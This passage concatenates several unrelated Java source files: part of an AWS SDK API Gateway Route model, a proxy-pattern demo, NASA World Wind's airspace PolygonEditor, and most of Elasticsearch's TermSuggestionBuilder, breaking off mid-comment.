other.getOperationName().equals(this.getOperationName()) == false) return false; if (other.getRequestModels() == null ^ this.getRequestModels() == null) return false; if (other.getRequestModels() != null && other.getRequestModels().equals(this.getRequestModels()) == false) return false; if (other.getRequestParameters() == null ^ this.getRequestParameters() == null) return false; if (other.getRequestParameters() != null && other.getRequestParameters().equals(this.getRequestParameters()) == false) return false; if (other.getRouteId() == null ^ this.getRouteId() == null) return false; if (other.getRouteId() != null && other.getRouteId().equals(this.getRouteId()) == false) return false; if (other.getRouteKey() == null ^ this.getRouteKey() == null) return false; if (other.getRouteKey() != null && other.getRouteKey().equals(this.getRouteKey()) == false) return false; if (other.getRouteResponseSelectionExpression() == null ^ this.getRouteResponseSelectionExpression() == null) return false; if (other.getRouteResponseSelectionExpression() != null && other.getRouteResponseSelectionExpression().equals(this.getRouteResponseSelectionExpression()) == false) return false; if (other.getTarget() == null ^ this.getTarget() == null) return false; if (other.getTarget() != null && other.getTarget().equals(this.getTarget()) == false) return false; return true; } @Override public int hashCode() { final int prime = 31; int hashCode = 1; hashCode = prime * hashCode + ((getApiGatewayManaged() == null) ? 0 : getApiGatewayManaged().hashCode()); hashCode = prime * hashCode + ((getApiKeyRequired() == null) ? 0 : getApiKeyRequired().hashCode()); hashCode = prime * hashCode + ((getAuthorizationScopes() == null) ? 0 : getAuthorizationScopes().hashCode()); hashCode = prime * hashCode + ((getAuthorizationType() == null) ? 0 : getAuthorizationType().hashCode()); hashCode = prime * hashCode + ((getAuthorizerId() == null) ? 0 : getAuthorizerId().hashCode()); hashCode = prime * hashCode + ((getModelSelectionExpression() == null) ? 0 : getModelSelectionExpression().hashCode()); hashCode = prime * hashCode + ((getOperationName() == null) ? 0 : getOperationName().hashCode()); hashCode = prime * hashCode + ((getRequestModels() == null) ? 0 : getRequestModels().hashCode()); hashCode = prime * hashCode + ((getRequestParameters() == null) ? 0 : getRequestParameters().hashCode()); hashCode = prime * hashCode + ((getRouteId() == null) ? 0 : getRouteId().hashCode()); hashCode = prime * hashCode + ((getRouteKey() == null) ? 0 : getRouteKey().hashCode()); hashCode = prime * hashCode + ((getRouteResponseSelectionExpression() == null) ? 0 : getRouteResponseSelectionExpression().hashCode()); hashCode = prime * hashCode + ((getTarget() == null) ? 0 : getTarget().hashCode()); return hashCode; } @Override public Route clone() { try { return (Route) super.clone(); } catch (CloneNotSupportedException e) { throw new IllegalStateException("Got a CloneNotSupportedException from Object.clone() " + "even though we're Cloneable!", e); } } @com.amazonaws.annotation.SdkInternalApi @Override public void marshall(ProtocolMarshaller protocolMarshaller) { com.amazonaws.services.apigatewayv2.model.transform.RouteMarshaller.getInstance().marshall(this, protocolMarshaller); } }
package com.xuyz.proxy; /** * 功能描述: * * @version 1.0.0 * @author: <a href="12510705@qq.com">Zeny</a> * @Date: Created in 2017/9/17 16:27. */ public class Main { public static void main(String[] args){ IDBQuery idbQuery = new DBQueryProxy(); idbQuery.request(); System.out.println(idbQuery.request()); } }
/* * Copyright 2006-2009, 2017, 2020 United States Government, as represented by the * Administrator of the National Aeronautics and Space Administration. * All rights reserved. * * The NASA World Wind Java (WWJ) platform is licensed under the Apache License, * Version 2.0 (the "License"); you may not use this file except in compliance * with the License. You may obtain a copy of the License at * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software distributed * under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR * CONDITIONS OF ANY KIND, either express or implied. See the License for the * specific language governing permissions and limitations under the License. * * NASA World Wind Java (WWJ) also contains the following 3rd party Open Source * software: * * Jackson Parser – Licensed under Apache 2.0 * GDAL – Licensed under MIT * JOGL – Licensed under Berkeley Software Distribution (BSD) * Gluegen – Licensed under Berkeley Software Distribution (BSD) * * A complete listing of 3rd Party software notices and licenses included in * NASA World Wind Java (WWJ) can be found in the WorldWindJava-v2.2 3rd-party * notices and licenses PDF found in code directory. */ package gov.nasa.worldwind.render.airspaces.editor; import gov.nasa.worldwind.WorldWindow; import gov.nasa.worldwind.geom.*; import gov.nasa.worldwind.render.DrawContext; import gov.nasa.worldwind.render.airspaces.*; import gov.nasa.worldwind.render.airspaces.Polygon; import java.awt.*; import java.util.*; import java.util.List; /** * @author dcollins * @version $Id: PolygonEditor.java 1171 2013-02-11 21:45:02Z dcollins $ */ public class PolygonEditor extends AbstractAirspaceEditor { private Polygon polygon; // Can be null private static final double DEFAULT_POLYGON_HEIGHT = 10.0; public PolygonEditor(AirspaceControlPointRenderer renderer) { super(renderer); } public PolygonEditor() { } public Airspace getAirspace() { return this.getPolygon(); } public Polygon getPolygon() { return this.polygon; } public void setPolygon(Polygon polygon) { this.polygon = polygon; } //**************************************************************// //******************** Control Point Assembly ****************// //**************************************************************// protected void assembleControlPoints(DrawContext dc) { if (this.getPolygon() == null) return; int numLocations = this.getPolygon().getLocations().size(); boolean isCollapsed = this.getPolygon().isAirspaceCollapsed(); for (int locationIndex = 0; locationIndex < numLocations; locationIndex++) { // If the polygon is not collapsed, then add the lower altitude control points. if (!isCollapsed) { this.addPolygonControlPoint(dc, locationIndex, LOWER_ALTITUDE); } // Add the upper altitude control points. this.addPolygonControlPoint(dc, locationIndex, UPPER_ALTITUDE); } } protected void addPolygonControlPoint(DrawContext dc, int locationIndex, int altitudeIndex) { LatLon location = this.getPolygon().getLocations().get(locationIndex); double altitude = this.getPolygon().getAltitudes()[altitudeIndex]; boolean terrainConforming = this.getPolygon().isTerrainConforming()[altitudeIndex]; // Apply the vertical exaggeration to the polygon's altitude when computing the Cartesian point of the polygon's // vertex. We do this to match the logic in Polygon, which applies vertical exaggeration to the altitude of its // vertices. Vec4 point = this.getPolygon().computePointFromPosition(dc, location.getLatitude(), location.getLongitude(), dc.getVerticalExaggeration() * altitude, terrainConforming); AirspaceControlPoint controlPoint = new BasicAirspaceControlPoint(this, this.getPolygon(), locationIndex, altitudeIndex, point); this.addControlPoint(dc, controlPoint); } //**************************************************************// //******************** Control Point Events ******************// //**************************************************************// protected AirspaceControlPoint doAddControlPoint(WorldWindow wwd, Airspace airspace, Point mousePoint) { if (this.getPolygon().getLocations().isEmpty()) { return this.doAddFirstLocation(wwd, mousePoint); } else { return this.doAddNextLocation(wwd, mousePoint); } } protected AirspaceControlPoint doAddFirstLocation(WorldWindow wwd, Point mousePoint) { // Adding the first location is unique in two ways: // // First, the airspace has no existing locations, so the only reference we have to interpret the user's intent // is the terrain. We will not modify the terrain conformance property. However we will modify the altitude // property to ensure the shape appears correctly on the terrain. // // Second, the app may want rubber band creation of the first two points. Therefore we add two points and // return a handle to the second point. If rubber banding is enabled, then we return a control point // referencing to the second location. Otherwise we return a control point referencing the first location. Line ray = wwd.getView().computeRayFromScreenPoint(mousePoint.getX(), mousePoint.getY()); double surfaceElevation = AirspaceEditorUtil.surfaceElevationAt(wwd, ray); Vec4 newPoint = AirspaceEditorUtil.intersectGlobeAt(wwd, surfaceElevation, ray); if (newPoint == null) { return null; } Position newPosition = wwd.getModel().getGlobe().computePositionFromPoint(newPoint); boolean[] terrainConformance = this.getPolygon().isTerrainConforming(); double[] altitudes = new double[2]; altitudes[LOWER_ALTITUDE] = terrainConformance[LOWER_ALTITUDE] ? 0.0 : newPosition.getElevation(); altitudes[UPPER_ALTITUDE] = terrainConformance[UPPER_ALTITUDE] ? 0.0 : newPosition.getElevation() + DEFAULT_POLYGON_HEIGHT; this.getPolygon().setAltitudes(altitudes[LOWER_ALTITUDE], altitudes[UPPER_ALTITUDE]); ArrayList<LatLon> locationList = new ArrayList<LatLon>(); locationList.add(new LatLon(newPosition)); // If rubber banding is enabled, add a second entry at the same location. if (this.isUseRubberBand()) { locationList.add(new LatLon(newPosition)); } this.getPolygon().setLocations(locationList); AirspaceControlPoint controlPoint = new BasicAirspaceControlPoint(this, this.getPolygon(), 0, LOWER_ALTITUDE, newPoint); this.fireControlPointAdded(new AirspaceEditEvent(wwd, this.getAirspace(), this, controlPoint)); // If rubber banding is enabled, fire a second add event, and return a reference to the second location. if (this.isUseRubberBand()) { controlPoint = new BasicAirspaceControlPoint(this, this.getPolygon(), 1, LOWER_ALTITUDE, newPoint); this.fireControlPointAdded(new AirspaceEditEvent(wwd, this.getAirspace(), this, controlPoint)); } return controlPoint; } protected AirspaceControlPoint doAddNextLocation(WorldWindow wwd, Point mousePoint) { // Try to find the edge that is closest to a ray passing through the screen point. We're trying to determine // the user's intent as to which edge a new two control points should be added to. We create a list of all // potentiall control point edges, then find the best match. We compute the new location by intersecting the // geoid with the screen ray, then create a new control point by inserting that point into the location list // based on the points orientaton relative to the edge. List<AirspaceEditorUtil.EdgeInfo> edgeInfoList = AirspaceEditorUtil.computeEdgeInfoFor( this.getPolygon().getLocations().size(), this.getCurrentControlPoints()); if (edgeInfoList.isEmpty()) { return null; } Line ray = wwd.getView().computeRayFromScreenPoint(mousePoint.getX(), mousePoint.getY()); AirspaceEditorUtil.EdgeInfo bestMatch = AirspaceEditorUtil.selectBestEdgeMatch( wwd, ray, this.getAirspace(), edgeInfoList); if (bestMatch == null) { return null; } AirspaceControlPoint controlPoint = AirspaceEditorUtil.createControlPointFor( wwd, ray, this, this.getAirspace(), bestMatch); Vec4 newPoint = controlPoint.getPoint(); LatLon newLocation = new LatLon(wwd.getModel().getGlobe().computePositionFromPoint(newPoint)); ArrayList<LatLon> locationList = new ArrayList<LatLon>(this.getPolygon().getLocations()); locationList.add(controlPoint.getLocationIndex(), newLocation); this.getPolygon().setLocations(locationList); this.fireControlPointAdded(new AirspaceEditEvent(wwd, this.getAirspace(), this, controlPoint)); return controlPoint; } protected void doRemoveControlPoint(WorldWindow wwd, AirspaceControlPoint controlPoint) { int index = controlPoint.getLocationIndex(); List<LatLon> newLocationList = new ArrayList<LatLon>(this.getPolygon().getLocations()); newLocationList.remove(index); this.getPolygon().setLocations(newLocationList); this.fireControlPointRemoved(new AirspaceEditEvent(wwd, controlPoint.getAirspace(), this, controlPoint)); } protected void doMoveControlPoint(WorldWindow wwd, AirspaceControlPoint controlPoint, Point mousePoint, Point previousMousePoint) { // Intersect a ray throuh each mouse point, with a geoid passing through the selected control point. Since // most airspace control points follow a fixed altitude, this will track close to the intended mouse position. // If either ray fails to intersect the geoid, then ignore this event. Use the difference between the two // intersected positions to move the control point's location. Position controlPointPos = wwd.getModel().getGlobe().computePositionFromPoint(controlPoint.getPoint()); Line ray = wwd.getView().computeRayFromScreenPoint(mousePoint.getX(), mousePoint.getY()); Line previousRay = wwd.getView().computeRayFromScreenPoint(previousMousePoint.getX(), previousMousePoint.getY()); Vec4 vec = AirspaceEditorUtil.intersectGlobeAt(wwd, controlPointPos.getElevation(), ray); Vec4 previousVec = AirspaceEditorUtil.intersectGlobeAt(wwd, controlPointPos.getElevation(), previousRay); if (vec == null || previousVec == null) { return; } Position pos = wwd.getModel().getGlobe().computePositionFromPoint(vec); Position previousPos = wwd.getModel().getGlobe().computePositionFromPoint(previousVec); LatLon change = pos.subtract(previousPos); int index = controlPoint.getLocationIndex(); List<LatLon> newLocationList = new ArrayList<LatLon>(this.getPolygon().getLocations()); LatLon newLatLon = newLocationList.get(index).add(change); newLocationList.set(index, newLatLon); this.getPolygon().setLocations(newLocationList); this.fireControlPointChanged(new AirspaceEditEvent(wwd, controlPoint.getAirspace(), this, controlPoint)); } protected void doResizeAtControlPoint(WorldWindow wwd, AirspaceControlPoint controlPoint, Point mousePoint, Point previousMousePoint) { // Find the closest points between the rays through each screen point, and the ray from the control point // and in the direction of the globe's surface normal. Compute the elevation difference between these two // points, and use that as the change in airspace altitude. // // When the airspace is collapsed, override the // selected control point altitude. This will typically be the case when the airspace is new. If the user drags // up, then adjust the upper altiutde. If the user drags down, then adjust the lower altitude. // // If the state keepControlPointsAboveTerrain is set, we prevent the control point from passing any lower than // the terrain elevation beneath it. Vec4 surfaceNormal = wwd.getModel().getGlobe().computeSurfaceNormalAtPoint(controlPoint.getPoint()); Line verticalRay = new Line(controlPoint.getPoint(), surfaceNormal); Line screenRay = wwd.getView().computeRayFromScreenPoint(previousMousePoint.getX(), previousMousePoint.getY()); Line previousScreenRay = wwd.getView().computeRayFromScreenPoint(mousePoint.getX(), mousePoint.getY()); Vec4 pointOnLine = AirspaceEditorUtil.nearestPointOnLine(verticalRay, screenRay); Vec4 previousPointOnLine = AirspaceEditorUtil.nearestPointOnLine(verticalRay, previousScreenRay); Position pos = wwd.getModel().getGlobe().computePositionFromPoint(pointOnLine); Position previousPos = wwd.getModel().getGlobe().computePositionFromPoint(previousPointOnLine); double elevationChange = previousPos.getElevation() - pos.getElevation(); int index; if (this.getPolygon().isAirspaceCollapsed()) { index = (elevationChange < 0) ? LOWER_ALTITUDE : UPPER_ALTITUDE; } else { index = controlPoint.getAltitudeIndex(); } double[] altitudes = controlPoint.getAirspace().getAltitudes(); boolean[] terrainConformance = controlPoint.getAirspace().isTerrainConforming(); if (this.isKeepControlPointsAboveTerrain()) { if (terrainConformance[index]) { if (altitudes[index] + elevationChange < 0.0) elevationChange = -altitudes[index]; } else { double height = AirspaceEditorUtil.computeLowestHeightAboveSurface( wwd, this.getCurrentControlPoints(), index); if (elevationChange <= -height) elevationChange = -height; } } double d = AirspaceEditorUtil.computeMinimumDistanceBetweenAltitudes(this.getPolygon().getLocations().size(), this.getCurrentControlPoints()); if (index == LOWER_ALTITUDE) { if (elevationChange > d) elevationChange = d; } else if (index == UPPER_ALTITUDE) { if (elevationChange < -d) elevationChange = -d; } altitudes[index] += elevationChange; controlPoint.getAirspace().setAltitudes(altitudes[LOWER_ALTITUDE], altitudes[UPPER_ALTITUDE]); AirspaceEditEvent editEvent = new AirspaceEditEvent(wwd, controlPoint.getAirspace(), this, controlPoint); this.fireControlPointChanged(editEvent); this.fireAirspaceResized(editEvent); } }
/* * Licensed to Elasticsearch under one or more contributor * license agreements. See the NOTICE file distributed with * this work for additional information regarding copyright * ownership. Elasticsearch licenses this file to you under * the Apache License, Version 2.0 (the "License"); you may * not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, * software distributed under the License is distributed on an * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY * KIND, either express or implied. See the License for the * specific language governing permissions and limitations * under the License. */ package org.elasticsearch.search.suggest.term; import org.apache.lucene.search.spell.DirectSpellChecker; import org.apache.lucene.search.spell.JaroWinklerDistance; import org.apache.lucene.search.spell.LevensteinDistance; import org.apache.lucene.search.spell.LuceneLevenshteinDistance; import org.apache.lucene.search.spell.NGramDistance; import org.apache.lucene.search.spell.StringDistance; import org.elasticsearch.ElasticsearchParseException; import org.elasticsearch.common.ParsingException; import org.elasticsearch.common.io.stream.StreamInput; import org.elasticsearch.common.io.stream.StreamOutput; import org.elasticsearch.common.io.stream.Writeable; import org.elasticsearch.common.xcontent.XContentBuilder; import org.elasticsearch.common.xcontent.XContentParser; import org.elasticsearch.index.query.QueryShardContext; import org.elasticsearch.search.suggest.DirectSpellcheckerSettings; import org.elasticsearch.search.suggest.SortBy; import org.elasticsearch.search.suggest.SuggestionBuilder; import org.elasticsearch.search.suggest.SuggestionSearchContext.SuggestionContext; import java.io.IOException; import java.util.Locale; import java.util.Objects; import static org.elasticsearch.search.suggest.DirectSpellcheckerSettings.DEFAULT_ACCURACY; import static org.elasticsearch.search.suggest.DirectSpellcheckerSettings.DEFAULT_MAX_EDITS; import static org.elasticsearch.search.suggest.DirectSpellcheckerSettings.DEFAULT_MAX_INSPECTIONS; import static org.elasticsearch.search.suggest.DirectSpellcheckerSettings.DEFAULT_MAX_TERM_FREQ; import static org.elasticsearch.search.suggest.DirectSpellcheckerSettings.DEFAULT_MIN_DOC_FREQ; import static org.elasticsearch.search.suggest.DirectSpellcheckerSettings.DEFAULT_MIN_WORD_LENGTH; import static org.elasticsearch.search.suggest.DirectSpellcheckerSettings.DEFAULT_PREFIX_LENGTH; import static org.elasticsearch.search.suggest.phrase.DirectCandidateGeneratorBuilder.ACCURACY_FIELD; import static org.elasticsearch.search.suggest.phrase.DirectCandidateGeneratorBuilder.MAX_EDITS_FIELD; import static org.elasticsearch.search.suggest.phrase.DirectCandidateGeneratorBuilder.MAX_INSPECTIONS_FIELD; import static org.elasticsearch.search.suggest.phrase.DirectCandidateGeneratorBuilder.MAX_TERM_FREQ_FIELD; import static org.elasticsearch.search.suggest.phrase.DirectCandidateGeneratorBuilder.MIN_DOC_FREQ_FIELD; import static org.elasticsearch.search.suggest.phrase.DirectCandidateGeneratorBuilder.MIN_WORD_LENGTH_FIELD; import static org.elasticsearch.search.suggest.phrase.DirectCandidateGeneratorBuilder.PREFIX_LENGTH_FIELD; import static org.elasticsearch.search.suggest.phrase.DirectCandidateGeneratorBuilder.SORT_FIELD; import static org.elasticsearch.search.suggest.phrase.DirectCandidateGeneratorBuilder.STRING_DISTANCE_FIELD; import static org.elasticsearch.search.suggest.phrase.DirectCandidateGeneratorBuilder.SUGGESTMODE_FIELD; /** * Defines the actual suggest command. Each command uses the global options * unless defined in the suggestion itself. All options are the same as the * global options, but are only applicable for this suggestion. */ public class TermSuggestionBuilder extends SuggestionBuilder<TermSuggestionBuilder> { private static final String SUGGESTION_NAME = "term"; private SuggestMode suggestMode = SuggestMode.MISSING; private float accuracy = DEFAULT_ACCURACY; private SortBy sort = SortBy.SCORE; private StringDistanceImpl stringDistance = StringDistanceImpl.INTERNAL; private int maxEdits = DEFAULT_MAX_EDITS; private int maxInspections = DEFAULT_MAX_INSPECTIONS; private float maxTermFreq = DEFAULT_MAX_TERM_FREQ; private int prefixLength = DEFAULT_PREFIX_LENGTH; private int minWordLength = DEFAULT_MIN_WORD_LENGTH; private float minDocFreq = DEFAULT_MIN_DOC_FREQ; public TermSuggestionBuilder(String field) { super(field); } /** * internal copy constructor that copies over all class field except field. */ private TermSuggestionBuilder(String field, TermSuggestionBuilder in) { super(field, in); suggestMode = in.suggestMode; accuracy = in.accuracy; sort = in.sort; stringDistance = in.stringDistance; maxEdits = in.maxEdits; maxInspections = in.maxInspections; maxTermFreq = in.maxTermFreq; prefixLength = in.prefixLength; minWordLength = in.minWordLength; minDocFreq = in.minDocFreq; } /** * Read from a stream. */ public TermSuggestionBuilder(StreamInput in) throws IOException { super(in); suggestMode = SuggestMode.readFromStream(in); accuracy = in.readFloat(); sort = SortBy.readFromStream(in); stringDistance = StringDistanceImpl.readFromStream(in); maxEdits = in.readVInt(); maxInspections = in.readVInt(); maxTermFreq = in.readFloat(); prefixLength = in.readVInt(); minWordLength = in.readVInt(); minDocFreq = in.readFloat(); } @Override public void doWriteTo(StreamOutput out) throws IOException { suggestMode.writeTo(out); out.writeFloat(accuracy); sort.writeTo(out); stringDistance.writeTo(out); out.writeVInt(maxEdits); out.writeVInt(maxInspections); out.writeFloat(maxTermFreq); out.writeVInt(prefixLength); out.writeVInt(minWordLength); out.writeFloat(minDocFreq); } /** * The global suggest mode controls what suggested terms are included or * controls for what suggest text tokens, terms should be suggested for. * Three possible values can be specified: * <ol> * <li><code>missing</code> - Only suggest terms in the suggest text that * aren't in the index. This is the default. * <li><code>popular</code> - Only suggest terms that occur in more docs * then the original suggest text term. * <li><code>always</code> - Suggest any matching suggest terms based on * tokens in the suggest text. * </ol> */ public TermSuggestionBuilder suggestMode(SuggestMode suggestMode) { Objects.requireNonNull(suggestMode, "suggestMode must not be null"); this.suggestMode = suggestMode; return this; } /** * Get the suggest mode setting. */ public SuggestMode suggestMode() { return suggestMode; } /** * s how similar the suggested terms at least need to be compared to the * original suggest text tokens. A value between 0 and 1 can be specified. * This value will be compared to the string distance result of each * candidate spelling correction. * <p> * Default is <tt>0.5</tt> */ public TermSuggestionBuilder accuracy(float accuracy) { if (accuracy < 0.0f || accuracy > 1.0f) { throw new IllegalArgumentException("accuracy must be between 0 and 1"); } this.accuracy = accuracy; return this; } /** * Get the accuracy setting. */ public float accuracy() { return accuracy; } /** * Sets how to sort the suggest terms per suggest text token. Two possible * values: * <ol> * <li><code>score</code> - Sort should first be based on score, then * document frequency and then the term itself. * <li><code>frequency</code> - Sort should first be based on document * frequency, then score and then the term itself. * </ol> * <p> * What the score is depends on the suggester being used. */ public TermSuggestionBuilder sort(SortBy sort) { Objects.requireNonNull(sort, "sort must not be null"); this.sort = sort; return this; } /** * Get the sort setting. */ public SortBy sort() { return sort; } /** * Sets what string distance implementation to use for comparing how similar * suggested terms are. Five possible values can be specified: * <ol> * <li><code>internal</code> - This is the default and is based on * <code>damerau_levenshtein</code>, but highly optimized for comparing * string distance for terms inside the index. * <li><code>damerau_levenshtein</code> - String distance algorithm based on * Damerau-Levenshtein algorithm. * <li><code>levenstein</code> - String distance algorithm based on * Levenstein edit distance algorithm. * <li><code>jarowinkler</code> - String distance algorithm based on * Jaro-Winkler algorithm. * <li><code>ngram</code> - String distance algorithm based on character * n-grams. * </ol> */ public TermSuggestionBuilder stringDistance(StringDistanceImpl stringDistance) { Objects.requireNonNull(stringDistance, "stringDistance must not be null"); this.stringDistance = stringDistance; return this; } /** * Get the string distance implementation setting. */ public StringDistanceImpl stringDistance() { return stringDistance; } /** * Sets the maximum edit distance candidate suggestions can have in order to * be considered as a suggestion. Can only be a value between 1 and 2. Any * other value result in an bad request error being thrown. Defaults to * <tt>2</tt>. */ public TermSuggestionBuilder maxEdits(int maxEdits) { if (maxEdits < 1 || maxEdits > 2) { throw new IllegalArgumentException("maxEdits must be between 1 and 2"); } this.maxEdits = maxEdits; return this; } /** * Get the maximum edit distance setting. */ public int maxEdits() { return maxEdits; } /** * A factor that is used to multiply with the size in order to inspect more * candidate suggestions. Can improve accuracy at the cost of performance. * Defaults to <tt>5</tt>. */ public TermSuggestionBuilder maxInspections(int maxInspections) { if (maxInspections < 0) { throw new IllegalArgumentException("maxInspections must be positive"); } this.maxInspections = maxInspections; return this; } /** * Get the factor for inspecting more candidate suggestions setting. */ public int maxInspections() { return maxInspections; } /** * Sets a maximum threshold in number of documents a suggest text token can * exist in order to be corrected. Can be a relative percentage number (e.g * 0.4) or an absolute number to represent document frequencies. If an value * higher than 1 is specified then fractional can not be specified. Defaults * to <tt>0.01</tt>. * <p> * This can be used to exclude high frequency terms from being suggested. * High frequency terms are usually spelled correctly on top of this this * also improves the suggest performance. */ public TermSuggestionBuilder maxTermFreq(float maxTermFreq) { if (maxTermFreq < 0.0f) { throw new IllegalArgumentException("maxTermFreq must be positive"); } if (maxTermFreq > 1.0f && maxTermFreq != Math.floor(maxTermFreq)) { throw new IllegalArgumentException("if maxTermFreq is greater than 1, it must not be a fraction"); } this.maxTermFreq = maxTermFreq; return this; } /** * Get the maximum term frequency threshold setting. */ public float maxTermFreq() { return maxTermFreq; } /** * Sets the number of minimal prefix characters that must match in order be * a candidate suggestion. Defaults to 1. Increasing this number improves * suggest performance. Usually misspellings don't occur in the beginning of * terms. */ public TermSuggestionBuilder prefixLength(int prefixLength) { if (prefixLength < 0) { throw new IllegalArgumentException("prefixLength must be positive"); } this.prefixLength = prefixLength; return this; } /** * Get the minimum prefix length that must match setting. */ public int prefixLength() { return prefixLength; } /** * The minimum length a suggest text term must have in order to be * corrected. Defaults to <tt>4</tt>. */ public TermSuggestionBuilder minWordLength(int minWordLength) { if (minWordLength < 1) { throw new IllegalArgumentException("minWordLength must be greater or equal to 1"); } this.minWordLength = minWordLength; return this; } /** * Get the minimum length of a text term to be corrected setting. */ public int minWordLength() { return minWordLength; } /** * Sets a minimal threshold in number of documents a suggested term should * appear in. This can be specified as an absolute number or as a relative * percentage of number of documents. This can improve quality by only * suggesting high frequency terms. Defaults to 0f and is not enabled. If a * value higher than 1 is specified then the number cannot be fractional. */ public TermSuggestionBuilder minDocFreq(float minDocFreq) { if (minDocFreq < 0.0f) { throw new IllegalArgumentException("minDocFreq must be positive"); } if (minDocFreq > 1.0f && minDocFreq != Math.floor(minDocFreq)) { throw new IllegalArgumentException("if minDocFreq is greater than 1, it must not be a fraction"); } this.minDocFreq = minDocFreq; return this; } /** * Get the minimal threshold for the frequency of a term appearing in the * document set setting. */ public float minDocFreq() { return minDocFreq; } @Override public XContentBuilder innerToXContent(XContentBuilder builder, Params params) throws IOException { builder.field(SUGGESTMODE_FIELD.getPreferredName(), suggestMode); builder.field(ACCURACY_FIELD.getPreferredName(), accuracy); builder.field(SORT_FIELD.getPreferredName(), sort); builder.field(STRING_DISTANCE_FIELD.getPreferredName(), stringDistance); builder.field(MAX_EDITS_FIELD.getPreferredName(), maxEdits); builder.field(MAX_INSPECTIONS_FIELD.getPreferredName(), maxInspections); builder.field(MAX_TERM_FREQ_FIELD.getPreferredName(), maxTermFreq); builder.field(PREFIX_LENGTH_FIELD.getPreferredName(), prefixLength); builder.field(MIN_WORD_LENGTH_FIELD.getPreferredName(), minWordLength); builder.field(MIN_DOC_FREQ_FIELD.getPreferredName(), minDocFreq); return builder; } public static TermSuggestionBuilder fromXContent(XContentParser parser) throws IOException { TermSuggestionBuilder tmpSuggestion = new TermSuggestionBuilder("_na_"); XContentParser.Token token; String currentFieldName = null; String fieldname = null; while ((token = parser.nextToken()) != XContentParser.Token.END_OBJECT) { if (token == XContentParser.Token.FIELD_NAME) { currentFieldName = parser.currentName(); } else if (token.isValue()) { if (SuggestionBuilder.ANALYZER_FIELD.match(currentFieldName)) { tmpSuggestion.analyzer(parser.text()); } else if (SuggestionBuilder.FIELDNAME_FIELD.match(currentFieldName)) { fieldname = parser.text(); } else if (SuggestionBuilder.SIZE_FIELD.match(currentFieldName)) { tmpSuggestion.size(parser.intValue()); } else if (SuggestionBuilder.SHARDSIZE_FIELD.match(currentFieldName)) { tmpSuggestion.shardSize(parser.intValue()); } else if (SUGGESTMODE_FIELD.match(currentFieldName)) { tmpSuggestion.suggestMode(SuggestMode.resolve(parser.text())); } else if (ACCURACY_FIELD.match(currentFieldName)) { tmpSuggestion.accuracy(parser.floatValue()); } else if (SORT_FIELD.match(currentFieldName)) { tmpSuggestion.sort(SortBy.resolve(parser.text())); } else if (STRING_DISTANCE_FIELD.match(currentFieldName)) { tmpSuggestion.stringDistance(StringDistanceImpl.resolve(parser.text())); } else if (MAX_EDITS_FIELD.match(currentFieldName)) { tmpSuggestion.maxEdits(parser.intValue()); } else if (MAX_INSPECTIONS_FIELD.match(currentFieldName)) { tmpSuggestion.maxInspections(parser.intValue()); } else if (MAX_TERM_FREQ_FIELD.match(currentFieldName)) { tmpSuggestion.maxTermFreq(parser.floatValue()); } else if (PREFIX_LENGTH_FIELD.match(currentFieldName)) { tmpSuggestion.prefixLength(parser.intValue()); } else if (MIN_WORD_LENGTH_FIELD.match(currentFieldName)) { tmpSuggestion.minWordLength(parser.intValue()); } else if (MIN_DOC_FREQ_FIELD.match(currentFieldName)) { tmpSuggestion.minDocFreq(parser.floatValue()); } else { throw new ParsingException(parser.getTokenLocation(), "suggester[term] doesn't support field [" + currentFieldName + "]"); } } else { throw new ParsingException(parser.getTokenLocation(), "suggester[term] parsing failed on [" + currentFieldName + "]"); } } // now we should have field name, check and copy fields over to the suggestion builder we return if (fieldname == null) { throw new ElasticsearchParseException( "the required field option [" + FIELDNAME_FIELD.getPreferredName() + "] is missing"); } return new TermSuggestionBuilder(fieldname, tmpSuggestion); } @Override public SuggestionContext build(QueryShardContext context) throws IOException { TermSuggestionContext suggestionContext = new TermSuggestionContext(context); // copy over common settings to each suggestion builder populateCommonFields(context.getMapperService(), suggestionContext); // Transfers the builder settings to the target TermSuggestionContext DirectSpellcheckerSettings settings = suggestionContext.getDirectSpellCheckerSettings(); settings.accuracy(accuracy); settings.maxEdits(maxEdits); settings.maxInspections(maxInspections); settings.maxTermFreq(maxTermFreq); settings.minDocFreq(minDocFreq); settings.minWordLength(minWordLength); settings.prefixLength(prefixLength); settings.sort(sort); settings.stringDistance(stringDistance.toLucene()); settings.suggestMode(suggestMode.toLucene()); return suggestionContext; } @Override public String getWriteableName() { return SUGGESTION_NAME; } @Override protected boolean doEquals(TermSuggestionBuilder other) { return Objects.equals(suggestMode, other.suggestMode) && Objects.equals(accuracy, other.accuracy) && Objects.equals(sort, other.sort) && Objects.equals(stringDistance, other.stringDistance) && Objects.equals(maxEdits, other.maxEdits) && Objects.equals(maxInspections, other.maxInspections) && Objects.equals(maxTermFreq, other.maxTermFreq) && Objects.equals(prefixLength, other.prefixLength) && Objects.equals(minWordLength, other.minWordLength) && Objects.equals(minDocFreq, other.minDocFreq); } @Override protected int doHashCode() { return Objects.hash(suggestMode, accuracy, sort, stringDistance, maxEdits, maxInspections, maxTermFreq, prefixLength, minWordLength, minDocFreq); } /** An enum representing the valid suggest modes. */ public enum SuggestMode implements Writeable { /** Only suggest terms in the suggest text that aren't in the index. This is the default. */ MISSING { @Override public org.apache.lucene.search.spell.SuggestMode toLucene() { return org.apache.lucene.search.spell.SuggestMode.SUGGEST_WHEN_NOT_IN_INDEX; } }, /** Only suggest terms that occur in more docs then the original suggest text term. */ POPULAR { @Override public org.apache.lucene.search.spell.SuggestMode toLucene() { return org.apache.lucene.search.spell.SuggestMode.SUGGEST_MORE_POPULAR; } }, /** Suggest any matching suggest terms based on tokens in the suggest text. */ ALWAYS { @Override public org.apache.lucene.search.spell.SuggestMode toLucene() { return org.apache.lucene.search.spell.SuggestMode.SUGGEST_ALWAYS; } }; @Override public void writeTo(final StreamOutput out) throws IOException { out.writeEnum(this); } public static SuggestMode readFromStream(final StreamInput in) throws IOException { return in.readEnum(SuggestMode.class); } public static SuggestMode resolve(final String str) { Objects.requireNonNull(str, "Input string is null"); return valueOf(str.toUpperCase(Locale.ROOT)); } public abstract org.apache.lucene.search.spell.SuggestMode toLucene(); } /** An enum representing the valid string edit distance algorithms for determining suggestions. */ public enum StringDistanceImpl implements Writeable { /** This is the default and is based on <code>damerau_levenshtein</code>, but highly optimized * for comparing string distance 